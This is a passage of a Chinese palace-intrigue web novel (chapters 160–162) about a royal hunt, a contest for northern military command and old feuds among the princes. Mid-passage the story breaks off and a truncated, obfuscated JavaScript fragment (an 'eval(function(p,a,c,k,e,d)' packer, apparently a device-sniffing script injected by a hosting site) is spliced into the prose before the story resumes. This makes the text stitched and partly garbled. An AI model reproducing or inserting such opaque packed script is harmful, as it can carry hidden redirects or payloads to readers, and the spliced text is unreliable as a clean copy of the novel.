“没有。”姬奉宁回答。 赵毓颇有些意外,他随手摸了摸马匹的鬃毛,“陛下已进猎场,他却还没到。这么大谱?” “到也不是。”姬奉宁则说,“王兄错怪了。” 赵毓一愣,“怎么说?” 姬奉宁,“今日文王进猎场,世子随侍,这个时辰……”说着,他抬头看了看天,估算时辰,“他应该在文王帐内。” “文王?”这次轮到赵毓当真莫名惊诧了,“他老人家还能下床?我怎么听说这位老人家已经瘫了?” “瘫痪,到不至于;腿脚不好,却是实情。再说,……”姬奉宁,“文王尊贵,到猎场又不用他自己骑马,十六人抬的大轿,还是能把他抬来的。” “折腾!”赵毓,“作为大郑战神的后裔,老文王既然都骑不了马了,为什么不在王府藏拙,到猎场做什么?” 姬奉宁,“这一点,不用我说,兄长自然心里有数。” 赵毓撇了撇嘴,却也没在说什么,眼神却望向此时文湛所在之地,——逐鹿坡。 第一代文王戎丙丁是大郑开国元勋,传说中的大郑战神,——开疆扩土,伏尸百万。 戎氏与姬氏宗庙同宗,所以当太|祖皇帝定鼎神州,戎氏受封血统诸侯。千年来,王侯将相权力更迭,姬氏王族子孙尚且各自飘零,似乎戎氏岿然不动。 至这一代文王戎余,已然在军中没有实权。可文王世家名声煊赫,千年来在军中一呼百应! 只是,他们戎家好久没呼了,说来,也沉寂二百一十多年了。 此时,水边走过来几个人,仆从牵马,王孙散步,正是吉王世子姬安沣和宗政文辩。 赵毓一看,倒是都是顶顶熟的熟人。 姬安沣是吉王的世子,这几十年的交情就不用说了,更为重要的是,世子本人为人厚道,就算与赵毓相交不算深厚,却和善。 而这位宗政文辩也是个和善人。他娘敬和郡主是楚王最小的闺女,他爹宗政三省则是三等忠勇伯的小儿子,赵毓回京之后才见过的小一辈。当时他内弟尹徵独居雍京,受邀去雍王越筝别院,就是这位宗政照顾的。当时宗政文辩并不知道赵毓是谁,仅仅以为是尹徵家来蹭吃喝的穷亲戚,也没有怠慢。 归根到底,这两个人都是厚道人。所谓:方以类聚,物以群分。厚道人才能跟厚道人走在一起,走得长久。 姬安沣过来,规规矩矩抬手,深施一礼,同赵毓道,“赵先生。” 赵毓身份复杂,安沣自从不称呼他为‘殿下’之后,便一直称呼他为‘赵先生’,此时并未改口。 而赵毓则连忙还礼,“世子。” 姬奉宁则严苛遵守大郑礼法,抬手,面对姬安沣深施一礼,“世子。” 琅琊郡王。他是燕王次子,不是燕王世子,因为他的长兄才是先帝下旨册封的燕王世子,眼前的姬安沣则吉王世子。虽然吉王与燕王的权柄不可同日而语,世子的尊荣却是一样的。 而姬安沣却也还了礼。 宗政文辩与这三人身份大不相同,他虽然贵戚,却不是王族,而面对赵毓又是小辈,于是一个深辑,却被赵毓拉住了胳膊。 赵毓,“猎场,不用这么拘泥。” 转而,他对姬安沣说,“方才我看到了石慎,他是否知道陛下进了猎场?” 这没头没脑的一句话,让姬安沣不知道要怎么回答。 其实在他心中,赵毓已经避开了最不应该说的话题。 ——赵毓没提吉王。 自从去年雍京银价一役过后,吉王一直在王府内闭门不出。他之前的隐秘心思不但令王府赌输了大半家产,麻烦的则是,令陛下不喜。因为吉王这家产,押宝在银价狂飙,而全然致祖宗留下的江山社稷以及亿兆子民的身家性命于不顾。 陛下甚至没有训诫,只是遣柳从容过来问了一句话,——覆巢之下,安存完卵? 就吓瘫了一位宗室亲王。 是啊,如果大郑江山倾颓,吉王,不要说性命是否保全了,是否有全尸都是疑问。 如今吉王府是世子掌权,出身随侯石家的那位吉王妃也被收了中馈之权,如今带着两个幼子深居简出,自然与娘家也断了往来。 赵毓想要知道石家的事,并不合适直接询问,只能问他姻亲家族的当家人,也就是世子安沣。 “陛下进猎场,……”姬安沣说,“石慎他,应该知道了吧。” 赵毓,“能想个法子,把他启出去吗?” “……” 过了好久,似乎天边的风吹过猎场的水面,泛起阵阵凉意。 姬安沣这才咬了咬牙,用一种扛着灭九族的重压的悲壮,开口道,“我知赵先生身份不同,您与陛下自幼一同长大,情分自是厚重的,只是,这天家骨肉,唉。可,再怎么说,他……,毕竟是君父。您这样做,不好吧,……” 赵毓,“……” 猎场水面上的风打了个回旋,飘荡着,带了赵毓的声音,显得有些凌乱,“我是说,把石慎从猎场启走。” 姬安沣,“……” ——呱呱!有水鸭从芦苇丛中飞起。 他迟疑了一下,欲言又止,显得颇有些为难,“……,这,……,也不好吧。” 赵毓,“怎么?” 姬安沣,“今日大田猎并非王族消遣游乐,旨在遵循姬氏千年祖训,遴选于战乱中可挽狂澜的不世之才,以备北境不时之需。” “因而,如今进入南苑之内的人,俱是有资格角逐北境兵权之人。” “石慎出身簪缨世家,其父随侯石寰亦是重臣,镇守北境数十年,于社稷于姬氏都是有大功之臣。虽然说他身上有些事情如今难以定论,可,毕竟,圣旨未下,随侯罪名未定。” “如今,在众目睽睽之下,赵先生以一己私心,就将其驱逐于南苑之外,令其他王公勋臣寒心,不是社稷之福。” ——呱呱!又有水鸭从芦苇丛中飞起。 “赵先生。”姬安沣,“既然陛下没有下旨,令石慎回避,那么,随侯世子觐见陛下,就是陛下默许的。” 赵毓抬头,就看见一行水鸭子,在天空中排成一行,并且随着风势,变换着队形,仿若莫测的汉字。 不一会儿,燕王的马到了。 在场的人具是小辈,除了赵毓被废黜之前的封号可以与燕王相匹,其余人,封号也要低几等,更不要说燕王本身就是姬氏的大宗正。 众人深施礼。 赵毓也不例外,他将手中的马鞭一横,躬身深辑。 燕王一伸手,将他手中马鞭扯住,“你跟我来。” 他二人到水边,周围人退避三舍,因而,安静得很。只是,此时燕王却不说话,放眼望着这一片浩渺的水面,有些沉闷。 赵毓,“王叔扯我过来,不会只是让我看水鸭子吧。” 燕王看了看水面,果然有几只水鸭子在扑腾。他看了看赵毓,随即又看了看水面,深深叹口气,开口,“老大呀,……” ——老大。 赵毓知道,长辈们一旦这么叫他,不是套近乎,就是训诫。 这个称呼是当年他还是皇长子祈王时,那些王族长辈称呼他时用的。 不同于民间老爹爱幺儿,帝王家极其爱重长子,即使他这个长子,不但庶出,甚至非先帝血脉,却依旧拥有帝王长子的地位,与在家族中仅次于父皇的权威。 所以,礼法上,兄弟姐妹们的教养,他有权力,并且要担责的。 越筝强取吉王‘永镇山川’,就需要赵毓亲自登门道歉。因为,就家族内礼法上来说,他对幼弟负有管教之责,只是因为种种原因,他常年不在雍京,无法管教,致使幼弟性格乖张,无论如何,这就是他的错。 上次的事情过去,此时再听到燕王口中这个称呼,赵毓心中打个突,心说,估计是家里谁谁谁行为不端了。 可是,燕王想要说谁呢? 燕王又叹口气,“老大,其实,……,你,……,你那个,就是,……” 自从昨夜在大正宫撞到皇帝有内宠,这件事如同芒刺直接抵住他的咽喉,让他咽不下去,也吐不出来。如此辗转一夜,这滋味当真比当年他兵尽粮绝被围大鲜卑山生死之地还要艰难。 他思来想去,决心今日在猎场一定要同赵毓说道说道。 可是,他为什么想到赵毓呢? 虽然赵毓是长兄,…… 可,事涉陛下。 陛下是陛下。 陛下的私事,赵毓也无权干涉。 即使他也是陛下的长兄。 兄弟之上是君臣。 燕王自知明白这个道理,可,他就是觉得,这件事要与赵毓说道说道。 为什么呢? “老大。”燕王捋了捋思路,说,“那夜在封地,我与你说,你……。唉,你是长兄,理应身正影直,有所表率。” ……闺房之内,要节制。可是,燕王记得,自己也曾说过,赵毓这点风流癖好,只要不影响千秋伟业,无人会过问。只是,这一次却似乎影响到了陛下。陛下纳内宠的癖好,说不定就是被赵毓带坏的,毕竟他们自幼一同长大。 可是,…… 陛下空置后宫,不过床帷之内有一内宠解闷,军政大事无一丝耽搁,朝野无一丝物议,这算失德吗? 好像也不算。 燕王思来想去,就是开不了口。 赵毓,“……?” 末了,燕王说,“你在内廷也多有走动,你可知道,……” 赵毓,“知道什么?” 燕王却又在琢磨,此等宫闱秘闻,赵毓应该知道,还是不应该知道,…… 赵毓似乎明白了燕王的难言之隐,秉着不能让长辈为难的想法,他主动道,“王叔,您是大宗正,对王族子弟有惩戒之权。您有话直说。这次是老二,还是雍王?” 随即,他又一想,“不能够啊!老二最近在空境寺中念经,没扯什么幺蛾子,也没再碰鸦片膏子。绿直昨儿刚从他那儿回来,给我带了一麻袋老二山上种的木耳和蘑菇。据绿直说,老二最近都吃胖了,脸蛋子都圆了。至于雍王,他同太子一起听政,最近都在内廷出入,也规矩得很。王叔,您这次想说的,是谁?” 燕王,“……” 他就觉得自己胸中千言万语,俱堵在嗓子眼中,一个字也说不出来。赵毓认真看着他,心思翻转了几遍,也不得要领,有些糊涂了。 “罢了。”燕王又叹口气,说,“承怡。” 得。赵毓心说,终于不叫他‘老大’了,这事儿就算搁置了,于是应声,“唉,王叔您说,我听着。” “我带你见见叔伯。”燕王道,“你之前一直在西北,回京之后又,……” 他一想到赵毓回京之后过着奢靡虚耗的日子,连带着眼中似乎又浮现出昨天夜里缠绕在陛下脖子上的那条 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“不。”赵毓说着,从马鞍上挂着的皮囊中抽出一只厚狼皮缝制的长手套,套在右手上,也护住了大半个胳膊。“这是金雕。金雕虽没有海东青万鹰之王的盛誉,可是在西疆十六国,它才是图腾。突厥和乌孙部落都有驯养金雕捕狼的传统,千年来,它是西疆天空的统治者。” 燕王,“西北的贡品名录中,有鹰隼?” “自然没有。”赵毓,“西北一直战乱不断,贡品都是甜瓜葡萄蜜饯香料什么的土产,获取容易,千里迢迢运到雍京来,以示臣服。陛下纵使极爱鹰隼,却不是横征暴敛之徒,也非贪图享乐的昏聩之君,不会在此等危难艰险时机,对西北另外加征不必要的赋税。” 燕王点头,只是又问了一句,“这只金雕是哪里来的?” 赵毓忽然轻笑了一下,带着奇异的缠绵,“我带人在天山北麓捕获的。” 燕王看着他的笑,心中一咯噔,“这个人,不会是高昌王殷忘川吧。” 赵毓一愣,“当然不是!我带的人手是尹氏九部的嫡系。为陛下围猎鹰隼这种事,我怎么可能假手他人?” 燕王又仔细看了看他,“既然你方才想到的不是高昌王,那你笑得如此诡异,是为什么?” “……?” 半晌,赵毓,“我笑了吗?” “你不想说就不说吧。只是,……”燕王本就不是纠缠细处之人,就说,“承怡,我知你重情重义,可,因床帏私事影响大局,不值得。昨夜我进宫见到了陛下,他,……” 不知道怎么了,燕王说道这里,下意识看了看赵毓,的右胳膊。 厚狼皮缝制的长手套,灰色的,覆盖住赵毓手与臂。 十足的王族子弟狩猎装束。 赵毓看了看自己的手,颇有些纳闷,“王叔,怎么了?” 燕王也不知道怎么了,挥了挥手,似乎想要挥去莫名纠缠的思绪,说,“陛下亲口说,对你很信任。” 赵毓心说,——呃,我也在场,我听到了,…… 燕王,“承怡,莫要辜负。” ——朕与王兄自小一起长大,经过生死,历过别离,这份情谊历久弥坚,任何人无法离间。 赵毓点头,“先帝曾经将西北军政大权托付于我,陛下则将周公伐诛之权降于我身。君父之恩,万钧之重。承怡必当鞠躬尽瘁死而后已,不敢有一丝怠慢,更何论辜负?” 燕王看着他,忽然笑了,“别人说鞠躬尽瘁死而后已,当真带着一种文死谏的悲壮,你到底不一样。” “哦?”赵毓,“我有什么不一样?” 燕王,“诡异,跟你方才笑的一样诡异。” 他说着,就向前走,赵毓连忙跟了上去。 今日入南苑的这些王公、藩镇与贵族门阀们,在阔别了十四年之后,再一次于皇家猎苑正式见到赵毓,心中滋味,当真是五花八门,千姿百态,形状各异,无奇不有! 不过,归根结底,众人倒是有一个共识,——他回来了。 在王族大宗正燕王的身后,赵毓重临大郑庙堂。 尚有一疑惑,——圣意如何? 当今陛下难道仅因燕王,就放纵赵毓御前涉高昌王言语无状、他身后西北藩镇尹氏、还有他之前的副将涉嫌通敌叛国于不顾? 绝无可能! 天威难测如同遮天蔽日的乌云,压在每个人的心上,久一些,如锋刃切割皮肉,渗出一丝恐惧的味道来。 谁知,此时天际传来一声长啸。 陛下的金雕! 金雕,西北天空霸主。 因头部是金色的羽而闻名于世。 在乌云密布的雍京猎苑绽放着一束光,如同西天佛祖的大鹏金翅鸟,展示出无以伦比的凶悍与力量。 此时,它一只如同离弦的弩|箭,自云端破空俯冲而下! 这是可以斗灭狼王的鹰隼!众人胆战心惊,均怕被误伤,却无一人敢弯弓搭箭,于是连忙散开。除了赵毓身边几位,其他那些平时被雍京繁华泡酥软了骨头的衮衮诸公,差点形成丧家之犬一般抱头鼠窜之时,那只金雕却暂停了俯冲。 地面众人慌乱之中,就看它在三丈高的空中盘旋两圈,伸出两只如刀锋般的利爪,径直落下,牢牢抓在一个人的右臂。 那人手臂高高抬起。 覆盖着厚狼皮缝制的长手套,灰色的。 ——赵毓! 161. 161 161 黑旗猎猎,马蹄声阵阵。八匹骏马由远及近,马上骑士身上据为黑色锦绣,为首之人手举旗帜,黑色的绸缎底子,只用银线绣着一只倨傲的雄鹰。 ——陛下的雪鹰骑! 明面上专为陛下驯养鹰隼的队伍,实际上却是文湛的私兵,年代颇为久远,追溯到他做东宫太子时期自己亲手创建的,只听命于皇帝本人。 那个时候,文湛得到大鲜卑山以北一支肃慎部落进贡的海东青,那个时候,他正好八岁。 雪鹰骑的旗官于赵毓面前勒住缰绳,急忙下马,过来从赵毓胳膊上小心翼翼接过那只金雕。 赵毓顺便也脱下右手架鹰的狼皮手套,随口就问了一句,“陛下呢?” “陛下尚在逐鹿坡。”旗官则回答起来口吻平常,只是抬眼看了一下赵毓身旁的燕王,随后禀告说,“请两位王爷在此处候驾即可。” 赵毓点了点头,又来了一句,“我看那边车马嚣张,甚是热闹。怎么回事,难道谁家跑南苑来娶媳妇儿?” 燕王,“?……” ——口无遮拦! 方才燕王听赵毓问陛下的行踪,就深觉不妥,只是雪鹰骑的旗官回答起来迅速又顺滑,他就没有阻拦。只是他没想到赵毓会问第二句,等他想要遮拦的时候,只听见旗官继续口吻平常地说,“那是文王与侍从的马队。” 赵毓,“哦……” 旗官,“如果两位王爷没有吩咐,下官须回去复命,告退。” 他们看着黑旗远去,即使在南苑开始围猎的王公们也要让出一条通路,而远处群山、密林与水面的交叉处,文王煌煌车马则渐行渐近。 “老大。”燕王一扯赵毓的袖子,“与我去见一见文王。不过,……”顿了一下,方说,“他们戎氏在大郑军方什么地位,你心中有数。” 赵毓,“这是自然。” 屏退周围所有人,借着风声的掩盖,燕王低声说,“这些话,只有我能和你说明白。承怡,这件事情,既然你心中有数,可为何又因为先嘉王的事迁怒于戎氏?” “……”赵毓难得安静了下来。 半晌,看着文王车马快到眼前了,他才说,“我没有因为老三的事情迁怒于戎氏,我就单纯看不顺眼他们那种敲碎膝盖滑跪太快旁人想扶一把都抓不住的赖泥扶不上墙的破烂劲儿。” 燕王,“当时,先嘉王被关押宗正寺,你去看望,他临终前向你托孤。我掌管宗正寺,这些事情没有人敢瞒我,也没有人敢瞒先帝与陛下。先嘉王族诛的旨意是先帝亲自下的,没有人敢留他一息骨血在人间。” 赵毓,“要是再等等,……” “不必等待,因为,等待也没有转圜的余地。”燕王,“所以,文王世子亲手用弓弦绞杀先嘉王妃与她肚腹中的孩子,不是错,更不是罪。” 赵毓攥紧手中的珊瑚鞭,手指骨节有格格的声响。 燕王则平静到冷淡,甚至是冷漠,“我再说一遍,承怡,没有人敢留他一息骨血在人间,也没有人能留他一息骨血在人间,你也不行。这是先帝的旨意,为大郑计,为天下计,为后世计。如果你抗旨,如果你阳奉阴违、私底下偷梁换柱,为臣子是为不忠,为人子是为不孝,为姬氏亲王,则是以己私不顾社稷。” 赵毓,“其实老三他,就是傻了点,其他的也没个啥,……不管怎样,没见天日的孩子无辜。” 燕王,“先嘉王外祖父是昆山杜皬,凤化朝执政二十年的宰辅,曾执兰芝社牛耳,如果先皇三子留下一脉骨血,如今的兰芝社,是什么情景,如今的朝局,又会是什么局面?” 半晌,赵毓才低声自己问了自己一句,“是呀,……,那个时候,该是个什么情景,又会是个什么局面呢?” 据说,大正宫数丈高耸的红墙是鲜血染就,而这第一层红血,就是王族子弟萧墙之祸的搏杀。此时,文王的那个十六人抬着的辉煌大轿已至临水边,随侍之人正是文王那位杀伐决断的世子戎久安。 ——大胖头鲶鱼。 赵毓看着从那顶辉煌的大轿子被搀扶出来的文王戎余,脑子中就浮现这么一个词儿。 之前薛宣平整日佛跳墙拌大米饭,胖成了一只三百斤的大兔子,赵毓就觉得挺匪夷所思的,可是再怎么着,老薛还是只活灵活现的大兔子,能蹦能跳。这位文王不一样,他胖,胖得极其的虚幻,极其贪婪,甚至几乎到了虚无的地步,似乎南苑猎场的草地,山川与河流甚至都无法承载那副身躯。 赵毓喃喃,“他为什么要出来呢?” 燕王听见了他的自言自语,“北境战局糜烂,陛下有意在王族亲贵之内遴选北境统帅,以求在最短时间之内收复各方势力,一力对外,平息战火,保境安民。 先帝遗训: 帝王之治,必以敬天法祖为本。 合天下之心以为心,公四海之利以为利,制治于未乱,保邦于未危,夙夜兢兢。 如今战火已燃,时不我待。” 赵毓,“这些我自然明白,只是,……” 文王世家是大郑军方的图腾,等同于天命玄鸟! 地位崇高到幻象的地步,如同岐山神宫那些九头鸟、人头蛇身以及麒麟神兽和四不像的祖宗们,高高供奉于神坛之上受缭绕香火就好,千万不要下凡。 十几年前,他们将女公子嫁入先嘉王府邸,直接进入姬氏王族争夺皇位的世俗战争,就是一次致命的下凡。 先嘉王一党俱败于文湛之手。 而戎氏不但折损文王女公子一尸两命,甚至连文王之于军队的“天命玄鸟”的传说也被怯魅。 赵毓说,“我要是他,此生深藏于王府,绝不在世人眼中显形,即使薨逝也要隐藏在三重棺椁当中,从王府直接抬入坟墓。 这样不但可以暂时退出世俗的争斗,还可以留给子孙一个虚幻却好用的旗帜。天下纷争不断,等两三代之后,子孙但凡有一两个成材的,再立战功,他们家‘天命玄鸟’的古怪传说,还是会继续流传下去的。 可是,他现在以这样的模样显露于人前,不能骑马,不能射箭,又是一副尸位素餐、行将就木的的样子,真就好像在众人面前把自己的裤衩子都扒掉了,实在是不堪入目,唉。” 燕王,“……” 南苑的这些王公贵戚纷纷去文王那边。 燕王,“承怡,我告诫你不要因为先嘉王的事迁怒于戎氏,是不想你在王族内树敌。” 赵毓没说话。 燕王,“戎氏与你并无恩怨,可为盟友,何苦为死敌?” “此等盟友,……”赵毓,“不要也罢。” 燕王叹口气,“陛下命你为随扈王公,可是,陛下也将随侯世子石慎放入南苑,承怡,你可知深意?” 赵毓,“我从不揣摩圣意。” 燕王,“因主上无所谓臣下这些恩怨。 如今之事,唯有北境。 只要此人为今日南苑诸王公贵戚世家各方信服的人选,陛下甚至无所谓此人之前的功过。 承怡。 如果,今日选出的北境统帅与你不和,有怨,甚至有仇,你想过今后吗?你,令岳,甚至整个西北军,要如何自处?” “王叔。”赵毓忽然说,“我怎么看文王像个大胖头鲶鱼,我甚至看到他脑袋顶上两根须子在飘。” “……” 燕王,“承怡,一会儿你能不说话吗?” 赵毓抬起右手指,在嘴唇上划了一道,“缝了。” 文王世子戎久安看着燕王与他身后之人走近,竟然发现,那个人异常陌生,即使他知道,那就是赵毓。 十四年未见,可是,他却记不住这位祈王十几年前的样子了,只是大概记得一个模糊的形状: ——黑色缂丝,花纹恣意。 此时的赵毓很安静,跟在燕王身后,除了微笑之外,竟然一言不发,安静得像个影子。 可是,戎久安记忆有关赵毓的一切都不是影子。十四年前那夜的一切,似刀劈斧砍一般,印在他的脑海当中,伴随着挥之不去的血味儿,腥腻,堵在喉咙当中。 那天夜里,先嘉王谋逆十条大罪震动朝野,先帝下旨族诛。 …… “哥哥,王爷在宗正寺,他找到人托孤了,就是那位大殿下。” “我和肚子里的孩儿,都可以活下去。” “王爷说,再等等,他那位兄长一定不负他。” …… 因为有了信念,妹妹拒不受死,磕碎了毒酒的瓷碗,绞断了白绫,即使阖府上下俱爬跪于重重缇骑包围之下。 为何会信他? 那个在自家兄弟手中骨肉成灰的先嘉王也就算了,妹妹为何会信一个连自己王爵都保不住的废物? 再等等? 莫说刻意拖延,只要再片刻犹豫,煌煌千年文王府灰飞烟灭! 他用一张弓的弓弦绞死了妹妹。 ——“这是谁家的儿郎?” 燕王带着赵毓到文王大轿之前,听见这样一个问,声音却有些含糊不清。 燕王道,“这是我家老大。” “哦!”文王,“承怡来了。” 多年消渴症致使文王的眼睛浑浊不堪,颜色都改变了,郑人的眼珠子多为褐棕色与黑色,周围的眼白,此时文王那对眼睛珠子却如同积年不清理的水渠,盖满了青苔水葕。 ——大胖头鲶鱼。 燕王眼前立马也浮现了这个,如果赵毓不说,还不显,可是他说了,于是燕王耳边就好像挂着赵毓的嘴,似乎一直念着“鲶鱼鲶鱼鲶鱼”,致使他越看文王的眼珠子就觉得越像菜场吐水沫的半死不活的鲶鱼,还是大胖头的。 燕王寒暄,“老兄,最近雍京雨水大,要好好保养,你的腿最近可好一些了?” 文王,“还那样,多年的老毛病。”说着他还皱了皱眉,显出羸弱与病痛。消渴症不但毁了文王的眼睛,还有腿。锦绣衣袍之下就是层层纱布,再下面,已经溃烂。 “燕王。”世子戎久安上前深揖,随即微微正了上身,抬了抬头,看向赵毓,也是一个礼,“大殿下。” 大殿下。 这个称呼自从妹妹薨逝之后就没有出现在文王府邸人们的口舌之中,如今,横亘了十四年,再一次被戎久安说出来,当中滋味,只有身处其中之人方能体味。 赵毓没有说话。 燕王则说,“陛下崇孝道,文王上了年纪,身边能有世子随侍,是福气。” ——文湛崇孝道?赵毓心念微动,那为何元熙重臣多为忠臣逆子? 戎久安,“陛下仁孝,命我随侍父王身侧,为人臣,为人子,自当尽心竭力。” ——文湛仁孝?赵毓看着眼前这两位,元熙改元至先帝驾崩,期间隔整整七年,其中实情,外人不知,他们也不知? 燕王点头,“君义、臣行、父慈、子孝、兄爱、弟敬,所谓六顺也。” 《左传·石碏谏宠州吁》中这一句,原本是传世名言,可放在此时此地,竟是完全错了。若不是此处山川开阔,有风自河谷吹来,此等虚假对话,赵毓实在听不下去。此时,他却安静如鸡。一副稀世名瓷般的好样貌,躲在燕王身后,安静微笑,甚至还带着几分害羞与腼腆,全无方才驱动皇帝鹰隼的剽悍。 赵毓,“我多年未在雍京,……” 所幸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕王不知道他怎么拐到这里,点头,“是。” 赵毓,“最后会不会来一场上林王狩?” 燕王听着心中一咯噔,“何至于如此惨烈?” 大郑皇位更迭并不是严苛的嫡长子继承制,是因为姬氏有古老的凶性。皇子武力政|变、谋朝篡位的传统已逾一千八百多年,甚至比大郑王朝还要古老。 为了抑制这种凶性导致国家分裂、王朝土崩,关键就是将所有的杀戮圈在王族内部,而那些门阀贵族世家,即使与王族有联姻的也必须置身事外。 因为,王族争斗卷进贵族会导致蔓延全境的内战。 于是,“上林王狩”便诞生了。 赵毓继续说,颇有些自说自话的意味,“咱们活着的人都没见过这个大世面。我记得史料典籍上记载,上一次上林王狩还是在三百年前,最后胜利者是宪宗皇帝。当时,他还只是十六皇子,据说平时唯爱读书。出乎许多人的意料之外,这个颇为文静的年轻皇子,依靠黄金羽箭,在上林王狩中得到储君的位子,于大风起于青萍之末之时登基,挽狂澜于既倒扶大厦之将倾,建彪炳史册的大功业。” “王叔可知,何为大功业?” 燕王叹气,“愿闻其详。” 赵毓,“大功业,就是永垂不朽的功绩,和无法超度、永堕地狱的业障。王叔,北境兵权这玩意儿的归属,可不是靠给今日南苑猎杀的鹿、兔子和山鸡数个数,而是要用这些王族贵胄子弟的命填出来的。” 南苑一阵山鸡飞,兔子跳,鹿群被驱赶到四处奔落。 这叔侄两个久久无话,赵毓忽然说道,“王叔在想什么?” 燕王,“今夜猎物丰厚,烤兔子佐酒。” 赵毓,“王叔可知我在想什么?” 燕王没说话。 赵毓,“几日前在绮镇,奉宁对我说,先帝将我在岐山神宫白塔之上的玉牒保住了,也保住了我姬氏王族的身份,也就是说,我拥有了此时下场厮杀争夺北境兵权的资格。” “这几日,王叔对我耳提面命,让我规矩,让我谨言慎行,身边坚清壁野,就是让我不要被可能出现的陷阱或者琐事毁了这个资格。” “为我寻找新的联姻,也就是想洗刷我西北藩镇的底子。” “而,这场围猎,原本陛下并无意让我下猎场,也是王叔的请求,于是,我来了。” “王叔,你我叔侄十数年不见,这些时日却忽然如此热络,今夜,我恐怕没有烤兔子佐酒的心情了。” 燕王听着,笑了笑,随即叹口气,“承怡,我无恶意。” 赵毓,“我知道。” 燕王,“北境兵权最好归属是你。因为那里有你西北旧部,山海关有你举荐的封疆大吏,高昌王与你有旧。” “可是陛下不同意。” “如此圣主,却也无法跳出千年轮回,落入窠臼。” 听到此处,赵毓忽然笑了,带着奇异的缠绵,“王叔错怪陛下了。其实,陛下不让我去北境,原因特别简单,没这么多花花绕。” 燕王一挑眉。 赵毓,“他只是不想我再次犯险。” 燕王,“……” 赵毓,“这些天我一直想着,如何同王叔说清楚,可您没容我开口。其实陛下与我的关系不像外面传得那么冷淡。王叔也知道,我们自小一起长大,我的书还是同他一道在东宫读的。我们的确是君臣,可我们也是兄弟,是亲人,和,……” ——某种意义上的夫妻。 未曾出口的缱绻,淹没于唇齿之间。 162. 162 162 “其实吧,我知现在说什么,王叔心中都在打鼓。”赵毓看了看远处河谷处,那个地方距离此处说远不远,说近也不近,起雾了,显得有些不甚清楚。“我先去那边看看布防,此处的人马交于王叔,您就在这里等陛下驾临。” 赵毓上马,“就大田猎如今这架势,这几天都得在这待着,王叔要是晚上闲来无事,过来猎宫,烤兔子有,没准儿还有烤鹿肉呢!咱喝杯酒。” 话音落,他单手勒缰绳,双腿一夹马肚子,向远处河谷处奔驰而去。 燕王与吉王世子安沣,宗政文辩,奉宁还有原本跟随赵毓的那三十六人马都驻留猎场与逐鹿坡的衔接处。 燕王转身招了招手,“安沣啊。” “王叔。”安沣连忙上前,“您有什么吩咐?” 燕王道,“今日陛下设了大田猎,你也下场试试,要是有所斩获,也可以光耀门楣。” 安沣笑着摆手,“我不会。当年读书的时候专注经书诗文,还有祭祀礼仪。我父王专司宗室祭祀,我想着,以后做一个礼官不出错就好,就没在骑射上下功夫。” 燕王,“承怡也是如此。” 安沣,“赵先生不一样,纵然他身上有伤无法拉开弓,可是他骑术是当真好。再说,不能用弓,可以用弩。” 燕王却说,“弩是不能用的,这是传统。猎场中具是亲贵,不是兔子山鸡与鹿,弩机射出杀伤力太大,误射怕出大事。” 安沣点点头,就没再说话。 赵毓的马沿着河谷径自向前,遇到浅水的地方直接马踏过去。这边的地势并不复杂,只是烟水笼罩,兼之距离猎场中央有些远,显得让人有些不太放心。 所幸,是他多虑了。 沿途布防非常严密,像是过了一遍极细的筛子,不但距离数丈都留人,甚至连河谷中长得不太方正的石头子都被文湛的雪鹰旗捡走了。 赵毓从小就懒惰,王族子弟要学的“武”那是一概不会,不过六艺倒是学得不错,尤其善“御”,无论是御马还是御人。 毓正宫读书之后很多年,他其实颇为疑惑。 就是,他懒惰不读书,先帝不干,文湛不干,后来连楚蔷生都不干,硬是压着他读书习字,在毓正宫的数年,他可是曾经实打实地头悬梁锥刺骨。不过,当他懒惰不习剑术与骑射的时候却无人逼迫他,而与此同时,在毓正宫的其他人却无人懈怠。不要说文湛这朵文韬武略的奇葩,就连曾经志在中枢清要文官的崔珩,都在剑术和骑射上颇有造诣,不然,他也不会从书生,到巨商,再到以军功立身的宁淮侯各个行当中转换自如。 这是为何呀? 流水淙淙。 有青鱼。 在水面上下浮动。 赵毓下马,到水边捧水洗了洗脸蛋子。 顺着河谷向前走,就是山,翻过眼前这座山脉,那边是朱仙镇,也就再走三十里的山路,就是大郑的古王陵,埋葬着大郑开国几代先王的陵寝,而他那个亲爹的那副被万仭凌迟之后的残破枯骨,也埋在那里。 他记得上一次去古王陵,还是他新婚,当时他带着绮罗去的,这一晃,也是十几年了。 赵毓觉得自己父子缘分乱七八糟,深浅都说不清楚。他那个亲爹,在他出生之前就身死了,那个时候,亲爹连他是公是母都不知道,甚至连他是否能活下来也不清楚;而他人生的头二十二年,一直以为先帝才是他亲生老子。现如今,他知道先帝不是他亲老子,却依旧是他爹,所以,在王族长辈眼中,他依旧是帝王长子,甚至还拥有争夺北境兵权的资格。 这可当真诡异得紧。 ——好歹是他亲爹。 赵毓想着,大郑天下以“孝”为先,自己也不能太出格,他是不是应该去一趟古王陵,给亲爹烧些纸钱?他给他取了名字“毓”,在纸钱燃烧的缭绕烟雾中,应该知道他是谁。可,这也三十多年了,如果人死之后当真有魂灵,他亲爹的魂儿也在奈何桥上过了一趟,要是命格不好,也许还能过几趟了,可还记得他这个儿子? “赵先生。”赵毓听见他身后忽然有个声音,“如此天赐良机,不下场试试?” 赵毓,“我这个行当同我老丈人一样,是文人不是武将。我是摇羽毛扇的,不是晃大刀片的,我可没本事与人肉搏。再者,我是今日田猎随扈的大臣,只管负责陛下的安危,其它的,一律不管。” 那人没下马,只是放松手中的缰绳,任由马匹顺着水边缓行了几步。 赵毓,“石世子认识我的年头也不短了,自然知道我这个人,在其位谋其政,可是不该我管的事儿,从来不伸手。” 石慎笑着说话,语气倒是挺温和的,“赵先生不下场,是因为不用多此一举,毕竟,你不下场,也能活。” 赵毓转身,看到石慎端坐骏马之上,一手持缰绳,一手,却拿着一张弓,却见了血。他马鞍上挂着一只华彩异常的山鸡,是他的战利,那只山鸡死得华彩异常,它纤细的脖子上插|着一支箭,使其咽喉洞穿却并未当场毙命,血顺着马鞍淌下,流了一地。 石慎,“那日与赵先生在绮镇阔别,我回到雍京就去拜访了雍王。我也没想到自己当时已是穷途末路,居然依旧能进王府客厅。只是,……” 赵毓被他将自己与马匹间隔开来。 马不是关口,关口是,马鞍上挂着他的弩|机。 石慎,“王爷答应了我一些事,不过,他也给了我一些教导,使我终身受益。” …… 